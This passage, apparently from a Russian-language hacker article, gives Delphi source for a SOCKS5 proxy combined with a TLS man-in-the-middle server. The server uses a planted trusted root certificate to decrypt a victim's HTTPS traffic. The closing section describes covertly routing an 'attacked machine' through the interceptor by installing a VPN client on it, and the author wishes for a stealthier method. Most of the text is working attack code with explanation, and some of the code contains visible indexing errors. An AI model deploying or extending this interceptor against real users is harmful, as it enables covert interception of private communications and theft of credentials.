устанавиваем этап соединения в 1.
3:
begin
if q[1]<>char(5) then
begin
FreeBC(id);
Socket.Close;
Exit;
end;
bc[id].CC.OnDisconnect:=nil;
bc[id].TC.OnDisconnected:=nil;
bc[id].TC.OnConnected:=nil;
bc[id].TC.OnDisconnected:=nil;
bc[id].TS.OnDisconnect:=nil;
bc[id].TS.OnConnect:=nil;
bc[id].TS.Active:=false;
AddToTrash(id,1);
bc[id].TC:=nil;
bc[id].IO:=nil;
AddToTrash(id,2);
bc[id].TS:=nil;
bc[id].IOS:=nil;
q:=char(5)+char(0);
Socket.SendText(q);
bc[id].stage:=1;
end;
4. Соединение с конечным доменом прошло успешно и клиент выслал какой-то набор байт
перехватчику. В этом случае задача перехватчика просто переслать буффер через связанный
киентский сокет.
4:
bc[id].CC.Socket.SendText(q);
Особо наблюдательные могут заметить, что в выше указанном коде нигде не переводится смена
этапа соединения на 4. Это произойдет только в том случае если клиентский сокет успешно
установит соединение. Так как сейчас мы разрабатываем пока простой socks5 сервер, то
следующим этапом будет обработка события OnConnect у клиентского сокета. Это событие будет
обработано только в том случае, если сервер работает только в роли
socks5 и передает трафик напрямую конечному серверу.
procedure TForm1.ClientSocket1Connect(Sender: TObject;
Socket: TCustomWinSocket);
var id:integer;
i:integer;
q:string;
begin
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.CC=Sender) then
begin
id:=i;
Break;
end;
if id=-1 then
Exit;
for i:=0 to SS.Socket.ActiveConnections-1 do
if SS.Socket.Connections=bc[id].Socket then
begin
q:=char(5)+char(0)+char(0);
case byte(bc[id].con[1]) of
1:
q:=q+char(1)+bc[id].addr+bc[id].port;
3:
q:=q+char(3)+char(length(bc[id].addr))+bc[id].addr+bc[id].port;
4:
q:=q+char(4)+bc[id].addr+bc[id].port;
end;
SS.Socket.Connections.SendText(q);
end;
bc[id].stage:=4;
end;
В начале все просто. Ищем идентификатор элемента bc сравнивая указатель клиентского сокета
с объектом вызвавшим событие. Если идентификатор не найден - выходим из обработчика. В
противном случае отправляем на связанное с этим элементом соединение с перехватчиком набор
байт 5, 0, 0 , тип адреса, адрес и порт. Этим мы уведомляем клиент, что соединение прошло
успешно и передачу трафика можно продолжать. В последннюю очередь меняем этап соединения на
4. Теперь socks5 сервер будет перегонять трафик напрямую на конечный сервер.
Также обрабатываем событие OnDisconnect. Ищем идентификатор элемента bc по тому же
принципу, если он найден, то отправляем элемент в мусор и освобождаем его. Если мы находимся
на этапе соединения 3, то отправляем связанному подключению ответ 5, 4, 0 и дополнительные
данные уведомляющие клиент о том, что соединение провалилось.
procedure TForm1.ClientSocket1Disconnect(Sender: TObject;
Socket: TCustomWinSocket);
var id:integer;
i:integer;
q:string;
begin
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.CC=Sender) then
begin
id:=i;
Break;
end;
if id=-1 then
Exit;
FreeBC(id);
for i:=0 to SS.Socket.ActiveConnections-1 do
if SS.Socket.Connections=bc[id].Socket then
begin
if bc[id].stage=3 then
begin
q:=char(5)+char(4)+char(0);
case byte(bc[id].con[1]) of
1:
q:=q+char(1)+bc[id].addr+bc[id].port;
3:
q:=q+char(3)+char(length(bc[id].addr))+bc[id].addr+bc[id].port;
4:
q:=q+char(4)+bc[id].addr+bc[id].port;
end;
SS.Socket.Connections.SendText(q);
end;
SS.Socket.Connections.Close;
end;
end;
Аналогичные действия производим и для ClientSocket1Error только дополнитеьно обнулив код
ошибки.
procedure TForm1.ClientSocket1Error(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
var i:integer;
id:integer;
buf:string;
begin
id:=-1;
for i:=0 to 499 do
if bc.CS.Socket.SocketHandle=Socket.SocketHandle then
begin
id:=i;
Break;
end;
if id<>-1 then
begin
for i:=SS.Socket.ActiveConnections-1 downto 0 do
if SS.Socket.Connections.SocketHandle=bc[id].SocketHandle then
begin
if bc[id].stage=S_await then
begin
buf:=char(5)+char(4)+char(0)+bc[id].saved_record;
SS.Socket.Connections.SendText(buf);
end;
bc[id].cs_disc:=true;
SS.Socket.Connections.Close;
Break;
end;
end;
ErrorCode:=0;
end;
Дополнительно ставим простой обработчик обнуления кода ошибки на который будет указывать
отправленный в мусор сокет.
procedure TForm1.ClientSocket1NoError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode:=0;
end;
И последний этап создания перехватчика - это обработка входящего трафика на клиент.
Обработка события OnRead происходит по следующему принципу. Получаем буффер из клиентского
сокета и ищем идентификатор элемента массива bc. Если такового нет - разрываем соединение.
Если же найден, то отправляем буффер на соединение к перехватчику связанное с этим элементом
массива bc.
procedure TForm1.ClientSocket1Read(Sender: TObject;
Socket: TCustomWinSocket);
var id:integer;
i:integer;
q:string;
begin
q:=Socket.ReceiveText;
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.CC=Sender) then
begin
id:=i;
Break;
end;
if id=-1 then
begin
Socket.Close;
Exit;
end;
for i:=0 to SS.Socket.ActiveConnections-1 do
if SS.Socket.Connections=bc[id].Socket then
SS.Socket.Connections.SendText(q);
end;

MITM-сервер
А вот и настало время создать нашего Man In The Middle. Для этого ранее уже были созданы
TC и TS, а также инициализированы и к ним уже могло пойти соединение если бы код был запущен.
Но вот обработки их событий ещё не было. Настало время заняться этим. Поговорим о том что
делает MITM сервер и каждый его элемент в частности. Клиентский сокет пересылает трафик от
клиента на TS. Это у нас TidTCPServer. Он устанавливает SSL соединение с клиентом используя
ключ target.key и сертификат target.crt. Так как корневой сертификат rootCA.crt уже
установлен в доверенные ещё на первых этапах, то target.key будет принят браузером как
действительный и TidTCPServer сможет дешифровать весь трафик от клиента и обработать его как
следует. После получения, дешифровки и обработки трафика его нужно переслать на конечный
сервер при помощи TC. Это TidTCPClient и он устанавливает защищенное TCP соединение с
конечным сервером. Таким образом можно представить следующие пути прохождения трафика через
MITM сервер:
клиент (шифрование трафика target_SSL)-->перехватчик-->MITM TCP Server (дешифровка трафика
target_SSL)-->обработка трафика-->MITM TCP Client (шифрование трафика original_SSL)-->сервер
(дешифровка трафика original_SSL)
сервер (шифрование трафика original_SSL)--MITM TCP Client (дешифровка трафика
original_SSL)-->обработка трафика-->MITM TCP Server (шифрование трафика
target_SSL)-->перехватчик-->клиент (дешифровка трафика target_SSL)
Для реализации обработки и передачи трафика нам потребуется обработать событие OnExecute у
TS. Первым делом ищем идентификатор элемента массива bc. Но здесь поиск проходит по листу
контекстов, а не по указателю на сокет. Далее проверяем есть ли у нас входящий трафик на TS.
Если есть - помещаем его в буффер и отправляем на связанный с элементом bc TC в случае если
таковой был найден. Также если связанный TC был найден, то следующим действием проверяем не
поступил ли входящий трафик на TC. Если поступил, то выкачиваем его с сокета и отправляем в
текущее соединение вызвавшее данное событие.
ВНИМАНИЕ!!! В этом событие мы получаем дешифрованный трафик который можем обработать так,
как нам нужно.
procedure TForm1.TSExecute(AContext: TIdContext);
var
i,j,t: integer;
buf:TIdBytes;
List:TList;
id:integer;
begin
setlength(buf,0);
id:=-1;
for i:=0 to length(bc) do
begin
try
if bc.TS<>nil then
begin
List:=bc.TS.Contexts.LockList;
for j:=0 to List.Count-1 do
if List.Items[j]=AContext then
begin
id:=i;
Break;
end;
if bc.TS<>nil then
bc.TS.Contexts.UnlockList;
end;
except
end;
if i<>-1 then Break;
end;
if id=-1 then
AContext.Connection.Socket.Close;
try
if AContext.Connection.Socket.InputBuffer.Size<>0 then
begin
if AContext.Connection.Socket.InputBuffer.Size<=1024 then
AContext.Connection.Socket.ReadBytes(buf,AContext.Connection.Socket.InputBuffer.Size)
else
AContext.Connection.Socket.ReadBytes(buf,1024);
if id<>-1 then
bc[id].TC.IOHandler.Write(buf,length(buf));
for t:=1 to 100 do
begin
sleep(10);
Application.ProcessMessages;
end;
end;
except
end;
setlength(buf,0);
try
if id<>-1 then
if bc[id].TC<>nil then
if (bc[id].TC.IOHandler.CheckForDataOnSource(100)) or bc[id].inp then
begin
bc[id].inp:=true;
if bc.TC<>nil then
if bc[id].TC.IOHandler.InputBuffer.Size<>0 then
begin
if bc.TC<>nil then
if bc[id].TC.IOHandler.InputBuffer.Size<=1024 then
begin
if bc.TC<>nil then
bc[id].TC.IOHandler.ReadBytes(buf,bc[id].TC.IOHandler.InputBuffer.Size);
end
else
begin
if bc.TC<>nil then
bc[id].TC.IOHandler.ReadBytes(buf,1024);
end;
if bc.TC<>nil then
AContext.Connection.Socket.Write(buf,length(buf));
for t:=1 to 100 do
begin
sleep(10);
Application.ProcessMessages;
end;
end
else
bc[id].inp:=false;
end;
except
end;
end;
Кроме того обработаем событие OnConnected у TS.
procedure TForm1.TSConnect(AContext: TIdContext);
begin
if (AContext.Connection.IOHandler is TIdSSLIOHandlerSocketBase) then
TIdSSLIOHandlerSocketBase(AContext.Connection.IOHandler).PassThrough:= False;
end;
Это нужно для того чтобы SSL соединение устанавливалось нормально. Добавляем также
специальный обработчик также нужный для успешной работы SSL (Indy... они такие).
procedure TForm1.IdSSLIOHandlerSocketOpenSSL1StatusInfoEx(ASender: TObject;
const AsslSocket: PSSL; const AWhere, Aret: Integer; const AType,
AMsg: String);
var id:integer;
i:integer;
begin
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.IO=ASender) then
begin
id:=i;
Break;
end;
if id=-1 then
Exit;
SSL_set_tlsext_host_name(AsslSocket, bc.IO.Host);
end;
И последнее обрабатываемое событие OnDisconnected также у TC.
procedure TForm1.IdTCPClient1Disconnected(Sender: TObject);
var id:integer;
i:integer;
q:string;
begin
id:=-1;
for i:=0 to 4999 do
if bc.busy and (bc.TC=Sender) then
begin
id:=i;
Break;
end;
if id=-1 then
Exit;
FreeBC(id);
for i:=0 to SS.Socket.ActiveConnections-1 do
if SS.Socket.Connections=bc[id].Socket then
begin
if bc[id].stage=3 then
begin
q:=char(5)+char(4)+char(0);
case byte(bc[id].con[1]) of
1:
q:=q+char(1)+bc[id].addr+bc[id].port;
3:
q:=q+char(3)+char(length(bc[id].addr))+bc[id].addr+bc[id].port;
4:
q:=q+char(4)+bc[id].addr+bc[id].port;
end;
SS.Socket.Connections.SendText(q);
end;
SS.Socket.Connections.Close;
end;
end;
Здесь мы ищем связанный элемент массива bc с помощью поиска объекта вызвавшего данное
событие, освобождаем его и отправляем ошибку соединения клиента если этап соединения равен 3.
Вот и все. Только убедимся что наш перехватчик запускается и в uses находятся все модули
из этого списка IdBaseComponent, IdComponent, IdTCPServer, IdCustomHTTPServer, IdStream,
idStreamVCL, IdHTTPServer, IdContext, IdServerIOHandler, IdSSL, IdSSLOpenSSL,
IdCustomTCPServer, IdTCPConnection, IdTCPClient, IdIOHandler, IdIOHandlerSocket,
IdIOHandlerStack, idGlobal.
Теперь весь трафик передаваемый через перехватчик на целевой сервер может быть перехвачен.
Но возникает закономерный вопрос: кто будет использовать наш SOCKS5 сервер по умолчанию?

Надеваем носки на ребенка
Многие из вас вспомнят как на вас надевали носочки даже если вы этого не хотели.Толстые,
теплые, неудобные. Сейчас мы побудем в роли заботливых родителей и незаметно наденем носочки
нашему малышу. Изначально я попытался инжектить либу в атакуемый процесс, но немножко
обломался и не стал идти дальше по этому пути. До окончания срока сдачи статьи осталось всего
4 часа и я просто не успею предоставить рабочий код. Поэтому мной был выбран другой путь.
Использование в качестве прокладки VPN сервер. Устанавливаем на атакуемую машину VPN клиент и
коннектимся к нашему сервачку. Наш же сервак настраиваем так чтобы он работал через наш же
socks5-перехватчик. Минус такого метода - меняется IP пользователя. Можно пытаться ставить
VPN сервер также на атакуемую машину, но как это сделать скрытно пока не разобрался.
Рассказывать как создать и настроить VPN сервер нет смысла. Статей и мануалов подобной
тематики полно на просторах гугла. Поэтому на этому все.
Автор: BlackDog